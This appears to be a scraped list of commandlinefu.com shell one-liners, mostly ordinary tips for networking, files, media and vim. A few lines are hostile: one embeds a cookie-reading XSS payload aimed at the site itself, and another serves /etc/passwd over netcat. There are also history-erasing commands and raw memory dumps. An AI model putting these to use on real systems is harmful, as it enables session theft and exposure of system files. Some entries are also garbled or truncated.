mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 -o OpenCD.iso ~/OpenCD

# Play music from youtube without download
wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame -| mpg123  -

# geoip information
curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g'

# generate a unique and secure password for every website that you login to
sitepass() { echo -n "$@" |  md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]"  | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); }

# Pretty Print a simple csv in the command line
column -s, -t <tmp.csv

# Create a directory and change into it at the same time
md () { mkdir -p "$@" && cd "$@"; }

# Save current layout of top
<Shift + W>

# Identify differences between directories (possibly on different servers)
diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') <(ssh server02 'cd config;find . -type f -exec md5sum {} \;| sort -k 2')

# find all active IP addresses in a network
arp-scan -l

# Mount the first NTFS partition inside a VDI file (VirtualBox Disk Image)
mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd -n 1000000  image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi /mnt/vdi-ntfs

# Get your external IP address
curl -s 'http://checkip.dyndns.org' | sed 's/.*Current IP Address: \([0-9\.]*\).*/\1/g'



# Use all the cores or CPUs when compiling
make -j 4

# Update twitter via curl
curl -u user -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml

# Analyze awk fields
awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'

# List programs with open ports and connections
lsof -i

# Colored SVN diff
svn diff <file> | vim -R -

# Run a command, store the output in a pastebin on the internet and place the URL on the xclipboard
ls | curl -F 'sprunge=<-' http://sprunge.us | xclip

# Find last reboot time
who -b

# Get your public ip using dyndns
curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"

# Start screen in detached mode
screen -d -m [<command>]

# Diff files on two remote hosts.
diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list)

# Ctrl+S Ctrl+Q terminal output lock and unlock
Ctrl+S Ctrl+Q

# Rsync remote data as root using sudo
rsync --rsync-path 'sudo rsync' username@source:/folder/ /local/

# Create a favicon
convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon -output favicon.ico face.ppm

# Convert all MySQL tables and fields to UTF8
mysql --database=dbname -B -N -e "SHOW TABLES"  | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql --database=dbname &

# Send keypresses to an X application
xvkbd -xsendevent -text "Hello world"

# Cut out a piece of film from a file. Choose an arbitrary length and starting time.
ffmpeg -vcodec copy -acodec copy -i orginalfile -ss 00:01:30 -t 0:0:20 newfile

# Check Ram Speed and Type in Linux
sudo dmidecode --type 17 | more

# Run any GUI program remotely
ssh -fX <user>@<host> <program>

# Run the Firefox Profile Manager
firefox -no-remote -P

# Append stdout and stderr to a file, and print stderr to the screen [bash]
somecommand 2>&1 >> logfile | tee -a logfile

# Delete the specified line
sed -i 8d ~/.ssh/known_hosts

# Pipe STDOUT to vim
tail -1000 /some/file | vim -

# Grep for word in directory (recursive)
grep --color=auto -iRnH "$search_word" $directory

# Batch convert files to utf-8
find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newdir_utf8/{} \;

# ping a range of IP addresses
nmap -sP 192.168.1.100-254



# find process associated with a port
fuser [portnumber]/[proto]

# Restrict the bandwidth for the SCP command
scp -l10 pippo@serverciccio:/home/zutaniddu/* .

# Grep by paragraph instead of by line.
grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";}

# Vim: Switch from Horizontal split to Vertical split
^W-L

# copy working directory and compress it on-the-fly while showing progress
tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz

# Split a tarball into multiple parts
tar cf - <dir>|split -b<max_size>M - <name>.tar.

# Clean your broken terminal
stty sane

# Kill processes that have been running for more than a week
find /proc -user myuser -maxdepth 1 -type d -mtime +7 -exec basename {} \; | xargs kill -9

# Ultimate current directory usage command
ncdu

# Get all these commands in a text file with description.
for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x"  ; done > commandlinefu.txt

# Show git branches by date - useful for showing active branches
for k in `git branch|perl -pe s/^..//`;do echo -e `git show --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k|head -n 1`\\t$k;done|sort -r

# find files containing text
grep -lir "some text" *

# Set your profile so that you resume or start a screen session on login
echo "screen -DR" >> ~/.bash_profile

# Purge configuration files of removed packages on  debian based systems
sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'`

# Grep colorized
grep -i --color=auto

# Given process ID print its environment variables
sed 's/\o0/\n/g' /proc/INSERT_PID_HERE/environ

# beep when a server goes offline
while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; done

# Number of open connections per ip.
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n

# git remove files which have been deleted
git rm $(git ls-files --deleted)

# Calculates the date 2 weeks ago from Saturday the specified format.
date -d '2 weeks ago Saturday' +%Y-%m-%d

# Resume aborted scp file transfers
rsync --partial --progress --rsh=ssh SOURCE DESTINATION

# Another Curl your IP command
curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g'

# Add your public SSH key to a server in one command
cat .ssh/id_rsa.pub | ssh hostname 'cat >> .ssh/authorized_keys'

# pattern match in awk - no grep
awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'

# Echo the latest commands from commandlinefu on the console
wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]"\n"} '



# scping files with streamlines compression (tar gzip)
tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destination

# Optimal way of deleting huge numbers of files
find /path/to/dir -type f -print0 | xargs -0 rm

# GREP a PDF file.
pdftotext [file] - | grep 'YourPattern'

# find and delete empty dirs, start in current working dir
find . -type d -empty -delete

# Change pidgin status
purple-remote "setstatus?status=away&message=AFK"

# convert vdi to vmdk (virtualbox hard disk conversion to vmware hard disk format)
VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qemu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw

# Change user, assume environment, stay in current dir
su -- user

# List Network Tools in Linux
apropos network |more

# A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
sudo strings /dev/mem

# Get all IPs via ifconfig
ifconfig | perl -nle'/dr:(\S+)/ && print $1'

# Twitter update from terminal    (pok3's snipts ?)
curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml

# VIM: Replace a string with an incrementing number between marks 'a and 'b (eg, convert string ZZZZ to 1, 2, 3, ...)
:let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1

# Multiple SSH Tunnels
ssh -L :: -L :: @

# wrap long lines of a text
fold -s -w 90 file.txt

# Create directory named after current date
mkdir $(date +%Y%m%d)

# Terminal redirection
script /dev/null | tee /dev/pts/3

# Monitor dynamic changes in the dmesg log.
watch "dmesg |tail -15"

# Monitor TCP opened connections
watch -n 1 "netstat -tpanl | grep ESTABLISHED"

# Pause Current Thread
ctrl-z

# quickly change all .html extensions on files in folder to .htm
for i in *.html ; do mv $i ${i%.html}.htm ; done

# Sort dotted quads
sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4

# Backup a remote database to your local filesystem
ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup-`date +%Y-%m-%d`.sql.gz

# Find recursively, from current directory down, files and directories whose names contain single or multiple whitespaces and replace each such occurrence with a single underscore.
find  ./  -name '*'  -exec  rename  's/\s+/_/g'  {}  \;

# count IPv4 connections per IP
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort | uniq -c | sort -n

# Just run it ;)
echo SSBMb3ZlIFlvdQo= | base64 -d



# cycle through a 256 colour palette
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done

# add all files not under version control to repository
svn status |grep '\?' |awk '{print $2}'| xargs svn add

# Get your outgoing IP address
curl -s ip.appspot.com

# Working random fact generator
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"

# Limit bandwidth usage by apt-get
sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade

# Makes you look busy
alias busy='my_file=$(find /usr/include -type f | sort -R | head -n 1); my_len=$(wc -l $my_file | awk "{print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file'

# Open Remote Desktop (RDP) from command line and connect local resources
rdesktop -a24 -uAdministrator -pPassword  -r clipboard:CLIPBOARD -r disk:share=~/share -z -g 1280x900 -0 $@ &

# Do some learning...
ls /usr/bin | xargs whatis | grep -v nothing | less

# Insert  the  last  argument  of  the previous command
<ALT> .

# Typing the current date ( or any string ) via a shortcut as if the keys had been actually typed with the hardware keyboard in any application.
xvkbd -xsendevent -text $(date +%Y%m%d)

# bash screensaver (scrolling ascii art with customizable message)
while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done

# Tune your guitar from the command line.
for n in E2 A2 D3 G3 B3 E4;do play -n synth 4 pluck $n repeat 2;done

# Amazing real time picture of the sun in your wallpaper
curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill stdin

# Backup a local drive into a file on the remote host via ssh
dd if=/dev/sda | ssh user@server 'dd of=sda.img'

# More precise BASH debugging
env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile

# is today the end of the month?
[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month'

# Show Directories in the PATH Which does NOT Exist
(IFS=:;for p in $PATH; do test -d $p || echo $p; done)

# Testing hard disk reading speed
hdparm -t /dev/sda

# Print text string vertically, one character per line.
echo "vertical text" | grep -o '.'

# display an embeded help message from bash script  header
[ "$1" == "--help" ] && { sed -n -e '/^# Usage:/,/^$/ s/^# \?//p' < $0; exit; }

# Send data securly over the net.
cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | netcat -l -p 8080

# When was your OS installed?
ls -lct /etc | tail -1 | awk '{print $6, $7}'

# Replace spaces in filenames with underscorees
rename -v 's/ /_/g' *

# bash: hotkey to put current commandline to text-editor
bash-hotkey: <CTRL+x+e>

# move a lot of files over ssh
tar -cf - /home/user/test | gzip -c | ssh user@sshServer 'cd /tmp; tar xfz -'



# print file without duplicated lines using awk
awk '!a[$0]++' file

# Cleanup firefox's database.
pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done)

# Stream YouTube URL directly to mplayer
id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php?video_id=$id\&t=$(curl -s http://www.youtube.com/watch?v=$id | sed -n 's/.*, "t": "\([^"]*\)", .*/\1/p')

# Change proccess affinity.
taskset -cp <core> <pid>

# Download file with multiple simultaneous connections
aria2c -s 4 http://my/url

# Pick a random line from a file
shuf -n1 file.txt

# Use xdg-open to avoid hard coding browser commands
xdg-open http://gmail.com

# Search commandlinefu from the CLI
curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width 100

# Find removed files still in use via /proc
find -L /proc/*/fd -links 0 2>/dev/null

# Using bash inline "here document" with three less-than symbols on command line
<<<"k=1024; m=k*k; g=k*m; g" bc

# Super Speedy Hexadecimal or Octal Calculations and Conversions to Decimal.
echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))"

# Recursively compare two directories and output their differences on a readable format
diff -urp /originaldirectory /modifieddirectory

# Connect to google talk through ssh by setting your IM client to use the localhost 5432 port
ssh -f -N -L 5432:talk.google.com:5222 user@home.network.com

# find and replace tabs for spaces within files recursively
find ./ -type f -exec sed -i 's/\t/  /g' {} \;

# urldecoding
sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e

# alt + 1 .
alt + 1 .

# Show a config file without comments
egrep -v "^$|^[[:space:]]*#" /etc/some/file

# Display last exit status of a command
echo $?

# Create several copies of a file
for i in {1..5}; do cp test{,$i};done

# Delete all files found in directory A from directory B
for file in <directory A>/*; do rm <directory B>/`basename $file`; done

# Nice info browser
pinfo

# Convert camelCase to underscores (camel_case)
sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt

# play high-res video files on a slow processor
mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all

# List your largest installed packages.
wajig large

# Displays the attempted user name, ip address, and time of SSH failed logins on Debian machines
awk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s-%s\n", $9, $11, $1, $2, $3}' /var/log/auth.log



# Download schedule
echo 'wget url' | at 12:00

# Fix Ubuntu's Broken Sound Server
sudo killall -9 pulseaudio; pulseaudio >/dev/null 2>&1 &

# Look up the definition of a word
curl dict://dict.org/d:something

# from within vi, pipe a chunk of lines to a command line and replace the chunk with the result
!}sort

# Browse system RAM in a human readable form
sudo cat /proc/kcore | strings | awk 'length > 20' | less

# [re]verify a disc with very friendly output
dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5

# Traceroute w/TCP to get through firewalls.
tcptraceroute www.google.com

# Find distro name and/or version/release
cat /etc/*-release

# Read the output of a command into the buffer in vim
:r !command

# Split File in parts
split -b 19m file Nameforpart

# Get your mac to talk to you
say -v Vicki "Hi, I'm a mac"

# Open a man page as a PDF in Gnome
TF=`mktemp` && man -t YOUR_COMMAND >> $TF && gnome-open $TF

# Grep without having it show its own process in the results
ps aux | grep "[s]ome_text"

# Remove all subversion files from a project recursively
rm -rf `find . -type d -name .svn`

# Tells which group you DON'T belong to (opposite of command "groups") --- uses sed
sed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/\n/ /;ta'

# renames multiple files that match the pattern
rename 's/foo/bar/g' *

# Show which programs are listening on TCP and UDP ports
netstat -plunt

# Count files beneath current directory (including subfolders)
find . -type f | wc -l

# Opens vi/vim at pattern in file
vi +/pattern [file]

# List complete size of directories (do not consider hidden directories)
du -hs */

# Convert all Flac in a directory to Mp3 using maximum quality variable bitrate
for file in *.flac; do flac -cd "$file" | lame -q 0 --vbr-new -V 0 - "${file%.flac}.mp3"; done

# ignore the .svn directory in filename completion
export FIGNORE=.svn

# Temporarily ignore known SSH hosts
ssh -o UserKnownHostsFile=/dev/null root@192.168.1.1

# Save the Top 2500 commands from commandlinefu to a single text file

# Recover remote tar backup with ssh
ssh user@host "cat /path/to/backup/backupfile.tar.bz2" |tar jpxf -



# Remote backups with tar over ssh
tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile.tar.bz2"

# Copy a file using pv and watch its progress
pv sourcefile > destfile

# Pronounce an English word using Dictionary.com
pronounce(){ wget -qO- $(wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') | mpg123 -; }

# Display a wave pattern
ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+'|'*(29*(Math.cos(i)/2+1)); i+=0.1}"

# send a message to a windows machine in a popup
echo "message" | smbclient -M NAME_OF_THE_COMPUTER

# create a temporary file in a command line call
any_script.sh < <(some command)

# See your current RAM frequency
dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }'

# Perl Command Line Interpreter
perl -e 'while(1){print"> ";eval<>}'

# grab all commandlinefu shell functions into a single file, suitable for sourcing.
export QQ=$(mktemp -d);(cd $QQ; curl -s -O http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25];for i in $(perl -ne 'print "$1\n" if( /^(\w+\(\))/ )' *|sort -u);do grep -h -m1 -B1 $i *; done)|grep -v '^--' > clf.sh;rm -r $QQ

# Insert  the  last  argument  of  the previous command
!$

# Find unused IPs on a given subnet
nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp

# silent/shh - shorthand to make commands really quiet
silent(){ $@ > /dev/null 2>&1; }; alias shh=silent

# Change your swappiness Ratio under linux
sysctl vm.swappiness=50

# Determine what an process is actually doing
sudo strace -pXXXX -e trace=file

# extract email adresses from some file (or any other pattern)
grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'

# Carriage return for reprinting on the same line
while true; do echo -ne "$(date)\r"; sleep 1; done

# bash screensaver off
setterm -powersave off -blank 0

# Copy a folder tree through ssh using compression (no temporary files)
ssh <host> 'tar -cz /<folder>/<subfolder>' | tar -xvz

# Remove lines that contain a specific pattern($1) from file($2).
sed -i '/myexpression/d' /path/to/file.txt

# What is my ip?
curl http://www.whatismyip.org/

# grep -v with multiple patterns.
grep 'test' somefile | grep -vE '(error|critical|warning)'

# lotto generator
echo $(shuf -i 1-49 | head -n6 | sort -n)

# convert filenames in current directory to lowercase
rename 'y/A-Z/a-z/' *

# Monitor a file's size
watch -n60 du /var/log/messages

# FAST and NICE Search and Replace for Strings in Files
nice -n19 sh -c 'S=askapache && R=htaccess; find . -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|xargs -P5 -iFF sed -i -e s%${S}%${R}% FF'



# save  date and time for each command in history
export HISTTIMEFORMAT="%h/%d-%H:%M:%S "

# Create/open/use encrypted directory
encfs ~/.crypt ~/crypt

# Function that outputs dots every second until command completes
sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper

# Log your internet download speed
echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(curl -L --w %{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done &

# Backup files older than 1 day on /home/dir, gzip them, moving old file to a dated file.
find /home/dir -mtime +1 -print -exec gzip -9 {} \; -exec mv {}.gz {}_`date +%F`.gz \;

# Show directories in the PATH, one per line
echo $PATH | tr \: \\n

# vim easter egg
$ vim ... :help 42

# Find the process you are looking for minus the grepped one
pgrep command_name

# Add
rename 's/^/prefix/' *

# uncomment the lines where the word DEBUG is found
sed '/^#.*DEBUG.*/ s/^#//' $FILE

# put all lines in comment where de word DEBUG is found
sed -i 's/^.*DEBUG.*/#&/'  $file

# Follow tail by name (fix for rolling logs with tail -f)
tail -F file

# Disable annoying sound emanations from the PC speaker
sudo rmmod pcspkr

# Stripping ^M at end of each line for files
dos2unix <filenames>

# IFS - use entire lines in your for cycles
export IFS=$(echo -e "\n")

# Compare a remote file with a local file
vimdiff <file> scp://[<user>@]<host>/<file>

# Attempt an XSS exploit on commandlinefu.com
perl -pi -e 's/<a href="#" onmouseover="console.log('xss! '+document.cookie)" style="position:absolute;height:0;width:0;background:transparent;font-weight:normal;">xss</a>/<\/a>/g'

# Backup files incremental with rsync to a NTFS-Partition
rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/

# Set an alarm to wake up [2]
echo "aplay path/to/song" |at [time]

# Alias for getting OpenPGP keys for Launchpad PPAs on Ubuntu
alias launchpadkey="sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys"

# Create a Multi-Part Archive Without Proprietary Junkware
tar czv Pictures | split -d -a 3 -b 16M - pics.tar.gz.

# disable history for current shell session
unset HISTFILE

# Go (cd) directly into a new temp folder
cd $(mktemp -d)

# for all flv files in a dir, grab the first frame and make a jpg.
for f in *.flv; do ffmpeg -y -i "$f" -f image2 -ss 10 -vframes 1 -an "${f%.flv}.jpg"; done

# Dumping Audio stream from flv (using ffmpeg)
ffmpeg -i <filename>.flv -vn <filename>.mp3



# Enable ** to expand files recursively (>=bash-4.0)
shopt -s globstar

# Command Line to Get the Stock Quote via Yahoo
curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1'

# Plays Music from SomaFM
read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls

# Search for a single file and go to it
cd $(dirname $(find ~ -name emails.txt))

# sends your internal IP by email
ifconfig en1 | awk '/inet / {print $2}' | mail -s "hello world" email@email.com

# printing barcodes
ls /home | head -64 | barcode -t 4x16 | lpr

# Rot13 using the tr command
alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'"

# Measures download speed on eth0
while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d : -f 2); echo "$(( Y-X )) bps"; done

# loop over a set of items that contain spaces
ls | while read ITEM; do echo "$ITEM"; done

# Converts to PDF all the OpenOffice.org files in the directory
for i in $(ls *.od{tp]); do unoconv -f pdf $i; done

# Processes by CPU usage
ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d"

# Rotate a set of photos matching their EXIF data.
jhead -autorot *.jpg

# Quickly find a count of how many times invalid users have attempted to access your system
gunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep "Invalid user" | awk '{print $8;}' | sort | uniq -c | less

# New files from parts of current buffer
:n,m w newfile.txt

# Launch a command from a manpage
!date

# hard disk information - Model/serial no.
hdparm -i[I] /dev/sda

# Wrap text files on the command-line for easy reading
fold -s <filename>

# Re-read partition table on specified device without rebooting system (here /dev/sda).
blockdev --rereadpt /dev/sda

# Speak the top 6 lines of your twitter timeline every 5 minutes.....
while [ 1 ]; do curl -s -u username:password  http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' | head -n 6 |festival --tts; sleep 300;done

# Sort a one-per-line list of email address, weeding out duplicates
sed 's/[ \t]*$//' < emails.txt | tr 'A-Z' 'a-z' | sort | uniq > emails_sorted.txt

# Create an SSH SOCKS proxy server on localhost:8000 that will re-start itself if something breaks the connection temporarily
autossh -f -M 20000 -D 8000 somehost -N

# Press ctrl+r in a bash shell and type a few letters of a previous command
^r in bash begins a reverse-search-history with command completion

# List only directory names
ls -d */

# bash shortcut: !$ !^ !* !:3 !:h and !:t
echo foo bar foobar barfoo && echo !$ !^  !:3 !* &&  echo /usr/bin/foobar&& echo !$:h !$:t

# scp file from hostb to hostc while logged into hosta
scp user@hostb:file user@hostc:



# Backup all MySQL Databases to individual files
for I in `echo "show databases;" | mysql | grep -v Database`; do    mysqldump $I > "$I.sql"; done

# To get you started!
vimtutor

# Wget Command to Download Full Recursive Version of Web Page
wget -p --convert-links http://www.foo.com

# Files extension change
rename .oldextension .newextension *.oldextension

# archive all files containing local changes (svn)
svn st | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz

# watch process stack, sampled at 1s intervals
watch -n 1 'pstack 12345 | tac'

# fast access to any of your favorite directory.
alias pi='`cat ~/.pi | grep ' ; alias addpi='echo "cd `pwd`" >> ~/.pi'

# Block an IP address from connecting to a server
iptables -A INPUT -s 222.35.138.25/32 -j DROP

# infile search and replace on N files (including backup of the files)
perl -pi.bk -e's/foo/bar/g' file1 file2 fileN

# Resume a detached screen session, resizing to fit the current terminal
screen -raAd

# send DD a signal to print its progress
while :;do killall -USR1 dd;sleep 1;done

# Get your outgoing IP address
curl -s icanhazip.com

# Convert a Nero Image File to ISO
dd bs=1k if=image.nrg of=image.iso skip=300

# Print a row of 50 hyphens
python -c 'print "-"*50'

# Save a file you edited in vim without the needed permissions (no echo)
:w !sudo tee > /dev/null %

# JSON processing with Python
curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | less -R

# Move items from subdirectories to current directory
find -type f -exec mv {} . \;

# Download free e-books
wget -erobots=off --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -H -r -l2 --max-redirect=1 -w 5 --random-wait -PmyBooksFolder -nd --no-parent -A.pdf http://URL

# grep tab chars
grep "^V<TAB>" your_file

# Start a HTTP server which serves Python docs
pydoc -p 8888 & gnome-open http://localhost:8888

# Define words and phrases with google.
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Eo '<li>[^<]+'|sed 's/^<li>//g'|nl|/usr/bin/perl -MHTML::Entities -pe 'decode_entities($_)';}

# Check RAM size
free -mto

# Remote control for Rhythmbox on an Ubuntu Media PC
alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox-client --no-start'

# Check which files are opened by Firefox then sort by largest size.
lsof -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if(s>0) print (s)" MB -- "$9 | "sort -rn" }'

# Edit video by cutting the part you like without transcoding.
mencoder -ss <start point> -endpos <time from start point> -oac copy -ovc copy <invid> -o <outvid>



# Pretty man pages under X
function manpdf() {man -t $1 | ps2pdf - - | epdfview -}

# live ssh network throughput test
pv /dev/zero|ssh $host 'cat > /dev/null'

# show ls colors with demo
echo $LS_COLORS | sed 's/:/\n/g' | awk -F= '!/^$/{printf("%s \x1b[%smdemo\x1b[0m\n",$0,$2)}'

# Show when filesystem was created
dumpe2fs -h /dev/DEVICE | grep 'created'

# generate random password
pwgen -Bs 10 1

# Use colordiff in side-by-side mode, and with automatic column widths.
colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2

# Shell function to exit script with error in exit status and print optional message to stderr
die(){ result=$1;shift;[ -n "$*" ]&&printf "%s\n" "$*" >&2;exit $result;}

# exit if another instance is running
pidof -x -o $$ ${0##*/} && exit

# search ubuntu packages to find which package contains the executable program programname
apt-file find bin/programname

# Execute most recent command containing search string.
!?<string>?

# Display GCC Predefined Macros
gcc -dM -E - < /dev/null

# Password Generation
pwgen --alt-phonics --capitalize 9 10

# command line calculator
calc(){ awk "BEGIN{ print $* }" ;}

# Extract a bash function
sed -n '/^function h\(\)/,/^}/p' script.sh

# Remount a usb disk in Gnome without physically removing and reinserting
eject /dev/sdb; sleep 1; eject -t /dev/sdb

# autossh + ssh + screen = super rad perma-sessions
AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr'

# Sort all running processes by their memory & CPU usage
ps aux --sort=%mem,%cpu

# On screen display of a command.
date|osd_cat

# Smart renaming
mmv 'banana_*_*.asc' 'banana_#2_#1.asc'

# Detect if we are running on a VMware virtual machine
dmidecode | awk '/VMware Virtual Platform/ {print $3,$4,$5}'

# Record microphone input and output to date stamped mp3 file
arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3

# Execute text from the OS X clipboard.
`pbpaste` | pbcopy

# Select and Edit a File in the Current Directory
PS3="Enter a number: "; select f in *;do $EDITOR $f; break; done

# command to change the exif date time of a image
exiftool -DateTimeOriginal='2009:01:01 02:03:04' file.jpg

# Find running binary executables that were not installed using dpkg
cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin



# connect via ssh using mac address
ssh root@`for ((i=100; i<=110; i++));do arp -a 192.168.1.$i; done | grep 00:35:cf:56:b2:2g | awk '{print $2}' | sed -e 's/(//' -e 's/)//'`

# cycle through a 256 colour palette
yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done

# How to run a command on a list of remote servers read from a file
while read server; do ssh -n user@$server "command"; done < servers.txt

# Replace spaces in filenames with underscorees
ls | while read f; do mv "$f" "${f// /_}";done

# Sort file greater than a specified size  in human readeable format including their path and typed by color, running from current directory
find ./ -size +10M -type f -print0 | xargs -0 ls -Ssh1 --color

# move a lot of files over ssh
rsync -az /home/user/test user@sshServer:/tmp/

# log your PC's motherboard and CPU temperature along with the current date
echo `date +%m/%d/%y%X |awk '{print $1;}' `" => "` cat /proc/acpi/thermal_zone/THRM/temperature | awk '{print $2, $3;}'` >> datetmp.log

# Verbosely delete files matching specific name pattern, older than 15 days.
find /backup/directory -name "FILENAME_*" -mtime +15 | xargs rm -vf

# Connect to SMTP server using STARTTLS
openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25

# Check availability of Websites based on HTTP_CODE
urls=('www.ubuntu.com' 'google.com'); for i in ${urls[@]}; do http_code=$(curl -I -s $i -w %{http_code}); echo $i status: ${http_code:9:3}; done

# An easter egg built into python to give you the Zen of Python
python -c 'import this'

# Extract dd-image from VirtualBox VDI container and mount it
vditool COPYDD my.vdi my.dd ; sudo mount -t ntfs -o ro,noatime,noexex,loop,offset=32256 my.dd ./my_dir

# Testing php configuration
php -i

# back up your commandlinefu contributed commands
curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzip ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz

# currently mounted filesystems in nice layout
column -t /proc/mounts

# Salvage a borked terminal
<ctrl+j>stty sane<ctrl+j>

# Salvage a borked terminal
echo <ctrl-v><esc>c<enter>

# convert a web page into a png
touch $2;firefox -print $1 -printmode PNG -printfile $2

# Copy a directory recursively without data/files
find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' '{}' \;

# Determine what version of bind is running on a dns server.
